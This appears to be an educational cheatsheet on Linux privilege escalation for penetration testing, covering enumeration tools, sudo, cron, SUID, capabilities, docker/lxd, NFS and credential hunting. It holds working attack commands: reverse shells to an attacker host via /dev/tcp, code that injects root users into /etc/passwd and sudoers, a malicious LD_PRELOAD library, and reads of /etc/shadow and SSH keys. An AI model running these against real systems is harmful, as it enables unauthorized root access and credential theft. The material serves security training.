Skip to main content

Linux Privilege Escalation

Strategy
  1. Check your user: id, whoami
  2. Run LinPEAS and Linux Smart Enumeration with increasing levels
  3. Run LinEnum and other scripts as well
  4. If scripts are failing, run manual commands and check cheatsheets (e.g., https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
  5. Spend time reading enumeration results
  6. Check files in your home directory and common locations (/var/backup, /var/logs)
  7. If your user has a history file, read it — it may contain passwords
  8. Try things that don't have many steps first: sudo, cron jobs, SUID files
  9. Look at root processes, enumerate versions, search for exploits
  10. Check for internal ports you can forward to your attacking machine
  11. If you still don't have root, re-read enumeration dumps and highlight anything odd (unusual processes, file names, non-standard filesystems, unusual usernames)
  12. At this stage, start thinking about kernel exploits

Practice makes perfect. Keep searching!

# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444

Understanding Permissions

Users, Groups, and Files

  • User accounts: /etc/passwd
  • Password hashes: /etc/shadow
  • Groups: /etc/group
  • Users have a primary group and can have multiple secondary groups
  • The root user (UID 0) has access to every file

File Permissions

Three sets of permissions (owner, group, others), each with read (r), write (w), execute (x).

Directory permissions:

  • Execute — required to enter the directory (without this, read/write won't work)
  • Read — list directory contents
  • Write — create files and subdirectories

Special Permissions

  • SUID bit — file executes with the privileges of the file owner
  • SGID bit — file executes with the privileges of the file group; on directories, files inherit the directory's group
  • SUID/SGID shown as s in the execute position

Real vs Effective UID

  • Real ID — who the user actually is (defined in /etc/passwd)
  • Effective ID — used for access control decisions and by commands like whoami
  • Saved ID — ensures SUID processes can switch between real and effective IDs

Print real and effective IDs:

id

Print real, effective, saved, and filesystem UIDs:

cat /proc/$$/status | grep "[UG]id"

Enumeration Tools

LinPEAS

The most comprehensive automated Linux enumeration script. Checks for privesc vectors and highlights findings by severity:

./linpeas.sh

Pipe to a file for review:

./linpeas.sh | tee linpeas_output.txt

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Linux Smart Enumeration (lse)

Bash script with multiple levels that gradually reveal more information:

./lse.sh -l 0 -i    # Level 0 - quick checks
./lse.sh -l 1 -i # Level 1 - more detail
./lse.sh -l 2 -i # Level 2 - full enumeration

https://github.com/diego-treitos/linux-smart-enumeration

LinEnum

Advanced Bash script that extracts a large amount of useful information. Can copy interesting files for export and search for files containing a keyword (e.g., "password"):

./LinEnum.sh -h
./LinEnum.sh -k password

https://github.com/rebootuser/LinEnum

pspy — Process Monitoring

Monitors running processes without root privileges. Detects cron jobs and scheduled tasks that you can't see with crontab -l:

./pspy64

Watch for processes that run periodically as root — these may execute scripts you can modify.

https://github.com/DominicBreuker/pspy

tip

Run pspy for a few minutes and watch the output. Cron jobs, systemd timers, and other scheduled tasks will appear. This catches things that LinPEAS and other enumeration tools miss.


Kernel Exploits

uname -a

Search for exploits:

searchsploit linux kernel <version> priv esc <distro>

Use linux-exploit-suggester-2 (https://github.com/jondonas/linux-exploit-suggester-2):

./linux-exploit-suggester-2.pl -k <kernel-version>

linux-exploit-suggester (Python version):

./linux-exploit-suggester.py --kernel <version>

Service Exploits

Services running as root can lead to root-level command execution if exploitable.

Show all processes running as root:

ps aux | grep "root"

Identify the version of each service:

<program> -v
<program> --version
rpm -qa | grep <program>
dpkg -l | grep <program>

Search for exploits using searchsploit, Exploit-DB, GitHub.

If a service port is bound to loopback only, set up an SSH tunnel to run the exploit from Kali:

ssh -R <local-port>:127.0.0.1:<target-port> $USER@$LHOST

Weak File Permissions

Readable /etc/shadow

ls -l /etc/shadow
cat /etc/shadow

If readable, copy the root hash and crack it:

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

Writable /etc/shadow

Generate a new SHA-512 password hash:

mkpasswd -m sha-512 newpassword

Replace the root user's hash in /etc/shadow with the new one.

Writable /etc/passwd

On outdated systems, /etc/passwd may contain the password hash (takes precedence over /etc/shadow).

Normal root entry: root:x:0:0:root:/root:/bin/bash

Delete the "x" for no password: root::0:0:root:/root:/bin/bash

Or generate a hash and insert it:

openssl passwd "password"

Add a new root-equivalent user:

echo 'newroot:$(openssl passwd password123):0:0:root:/root:/bin/bash' >> /etc/passwd

Finding Writable Files

find /etc -maxdepth 1 -writable -type f
find /etc -maxdepth 1 -readable -type f
find / -executable -writable -type d 2>/dev/null

Writable Scripts Run by Root

Search for scripts or binaries run by root (via cron, systemd, etc.) that you can modify:

find / -writable -type f -name "*.sh" 2>/dev/null
find / -writable -type f -name "*.py" 2>/dev/null

If a writable script is executed by root periodically, inject a reverse shell or add your user to sudoers:

echo 'echo "youruser ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /path/to/writable/script.sh

Backups

Even if permissions are correct on sensitive files, users may have created insecure backups. Check /var/backup, /tmp, home directories.


Sudo

Check what you can run as sudo:

sudo -l

Cross-reference binaries with https://gtfobins.github.io/ for known escalation vectors.

sudo with LD_PRELOAD

If sudo -l shows env_keep+=LD_PRELOAD (which is rare but does happen), you can load a malicious shared library before any sudo command:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}

Compile:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Execute:

sudo LD_PRELOAD=/tmp/preload.so <any-allowed-command>

doas (Alternative to sudo)

Some systems use doas instead of sudo. Check if it's installed and its configuration:

which doas
cat /etc/doas.conf

The config syntax is similar to sudo but simpler. Look for permit nopass entries.


Cron Jobs

Check cron configurations:

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

Look for cron jobs running as root that execute scripts you can modify.

Wildcard Injection

If a cron job uses wildcard expansion (e.g., tar cf /backup/backup.tar * in a directory you can write to), you can inject command-line arguments as filenames:

# If cron runs: tar cf /backup/backup.tar * in /var/www/html/
cd /var/www/html/
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' >> shell.sh
chmod +x shell.sh

When tar expands the wildcard, the filenames become arguments: tar cf /backup/backup.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...

tip

Wildcard injection works with tar, chown, chmod, rsync, and other tools that accept options through filenames. Use pspy to identify which commands cron runs and whether they use wildcards.


SUID / SGID Executables

Find all SUID/SGID files:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

For each interesting SUID binary, check the version and search for exploits:

/usr/sbin/exim-4.84-3 --version
searchsploit exim 4.84
tip

If you copy an exploit script from your machine, you may need to remove Windows carriage return characters: sed -e "s/\r//" exploit.sh > clean.sh

Shared Object Injection

When a SUID program loads shared objects, use strace to find missing ones:

strace /usr/local/bin/suid-binary 2>&1 | grep -i "no such file"

If you can write to the location the program tries to open, create a malicious shared object.

PATH Environment Variable Manipulation

If a SUID binary calls another program by name (not absolute path), you can hijack it via PATH:

Find the command being called:

strings /path/to/suid-binary
strace -v -f -e execve /path/to/suid-binary 2>&1 | grep exec
ltrace /path/to/suid-binary

Create a malicious version and prepend its location to PATH:

echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid-binary

Abusing Shell Features (Bash < 4.2-048)

In older Bash versions, you can define functions with absolute path names that take precedence over executables:

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/path/to/suid-binary

Abusing Shell Features #2 (Bash < 4.4)

In debugging mode, Bash uses the PS4 environment variable which can include embedded commands:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /path/to/suid-binary
/tmp/rootbash -p
warning

In Bash 4.4+, the PS4 variable is not inherited by shells running as root.


Capabilities

Linux capabilities provide fine-grained privilege control beyond the traditional root/non-root model. Some capabilities allow privilege escalation.

Find Binaries with Capabilities

getcap -r / 2>/dev/null

Dangerous Capabilities

CapabilityRisk
cap_setuidCan change UID — direct root escalation
cap_setgidCan change GID
cap_dac_read_searchCan read any file (bypass permissions)
cap_dac_overrideCan write any file (bypass permissions)
cap_net_rawCan sniff network traffic
cap_sys_adminNear-equivalent to root
cap_sys_ptraceCan inject into other processes

Exploitation Examples

Python with cap_setuid:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Perl with cap_setuid:

perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

vim with cap_setuid:

vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash")'

Cross-reference capabilities with https://gtfobins.github.io/ (filter by "Capabilities").


Docker Group Exploitation

If the current user is a member of the docker group, they can mount the host filesystem inside a container and access everything as root.

Check group membership:

id
groups

Escalate by mounting the host root filesystem:

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

You now have a root shell with full access to the host filesystem.

tip

This also works with lxc (LXD containers) if the user is in the lxd group.

LXD Group Exploitation

# On Kali, build a minimal Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine

# Transfer the .tar.gz to the target
# On the target:
lxc image import ./alpine-v*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

Root filesystem is at /mnt/root inside the container.


Python Library Hijacking

If a Python script runs as root and you can write to a directory in its import path, you can create a malicious module.

Check Python Path

python3 -c "import sys; print('\n'.join(sys.path))"

Writable Module Directory

If any directory in the Python path is writable by your user, create a module that the script imports:

# If the target script does "import requests" and /usr/lib/python3/dist-packages is writable
echo 'import os; os.system("bash -i >& /dev/tcp/LHOST/LPORT 0>&1")' > /usr/lib/python3/dist-packages/requests.py

Script in Current Directory

Python checks the current directory first (empty string in sys.path). If a root cron job runs a Python script, placing a malicious module with the same name as an import in the script's directory will hijack it.


Passwords & Keys

History Files

cat ~/.*history | less
ls -al ~
cat ~/.bash_history

Look for mistyped commands that may contain passwords (e.g., password entered as a command instead of at a prompt).

Config Files

Many services store credentials in config files. If a service runs as root and reuses passwords, you may be able to su to root.

Common locations:

cat /var/www/html/wp-config.php
cat /var/www/html/.env
cat /etc/mysql/my.cnf
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

SSH Keys

Look for insecurely stored private keys:

find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

NFS (Network File System)

NFS shares are configured in /etc/exports.

Enumerate Shares

From Kali:

showmount -e $TARGET
nmap -sV --script=nfs-showmount $TARGET

Root Squashing

By default, NFS "squashes" root (UID 0) to the nobody user. But if no_root_squash is configured on a writable share, a remote root user can create files as the local root.

Check for no_root_squash:

cat /etc/exports

Exploitation

On Kali (as root):

mkdir /tmp/nfs
mount -o rw,vers=2 $TARGET:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

On the target:

/tmp/shell.elf

Internal Services / Port Forwarding

Check for services listening on localhost only:

ss -tlnp
netstat -tlnp

If you find services bound to 127.0.0.1 on ports like 3306, 8080, 8443, etc., forward them to your Kali machine for exploitation:

ssh -L 8080:127.0.0.1:8080 $USER@$TARGET

Then access http://127.0.0.1:8080 on Kali to interact with the internal service.